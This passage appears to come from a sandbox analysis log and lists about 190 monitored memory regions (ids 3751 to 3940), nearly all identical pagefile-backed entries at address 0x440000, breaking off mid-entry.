Region: id = 3751 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 3752 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 3753 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 3754 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 3755 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 3756 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 3757 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 3758 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 3759 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 3760 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 3761 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 3762 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 3763 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 3764 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 3765 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 3766 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 3767 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 3768 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 3769 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 3770 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 3771 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 3772 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 3773 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 3774 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 3775 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 3776 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 3777 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 3778 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 3779 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 3780 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 3781 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 3782 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 3783 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 3784 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 3785 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 3786 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 3787 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 3788 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 3789 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 3790 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 3791 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 3792 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 3793 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 3794 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 3795 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 3796 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 3797 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 3798 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 3799 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 3800 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 3801 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 3802 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 3803 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 3804 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 3805 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 3806 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 3807 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 3808 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 3809 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 3810 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 3811 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 3812 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 3813 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 3814 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 3815 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 3816 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 3817 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 3818 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 3819 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 3820 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 3821 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 3822 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 3823 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 3824 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 3825 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 3826 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 3827 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 3828 start_va = 0x440000 end_va = 0x440fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 3829 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000440000" filename = "" Region: id = 3830 start_va = 0x440000 end_va = 0x45ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000440000" filename = "" Region: id = 3831 start_va = 0x460000 end_va = 0x46efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 3832 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 3833 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 3834 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 3835 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 3836 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 3837 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 3838 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 3839 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 3840 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 3841 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 3842 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 3843 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 3844 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 3845 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 3846 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 3847 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 3848 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 3849 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 3850 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 3851 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 3852 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 3853 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 3854 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 3855 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 3856 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 3857 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 3858 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 3859 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 3860 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 3861 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 3862 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 3863 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 3864 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 3865 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 3866 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 3867 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 3868 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 3869 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 3870 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 3871 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 3872 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 3873 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 3874 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 3875 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 3876 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 3877 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 3878 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 3879 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 3880 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 3881 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 3882 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 3883 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 3884 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 3885 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 3886 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 3887 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 3888 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 3889 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 3890 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 3891 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 3892 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 3893 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 3894 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 3895 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 3896 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 3897 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 3898 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 3899 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 3900 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 3901 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 3902 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 3903 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 3904 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 3905 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 3906 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 3907 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 3908 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 3909 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 3910 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 3911 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 3912 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 3913 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 3914 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 3915 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 3916 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 3917 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 3918 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 3919 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 3920 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 3921 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 3922 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 3923 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 3924 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 3925 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 3926 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 3927 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 3928 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 3929 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 3930 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 3931 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 3932 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 3933 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 3934 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 3935 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 3936 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 3937 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 3938 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 3939 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 3940 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 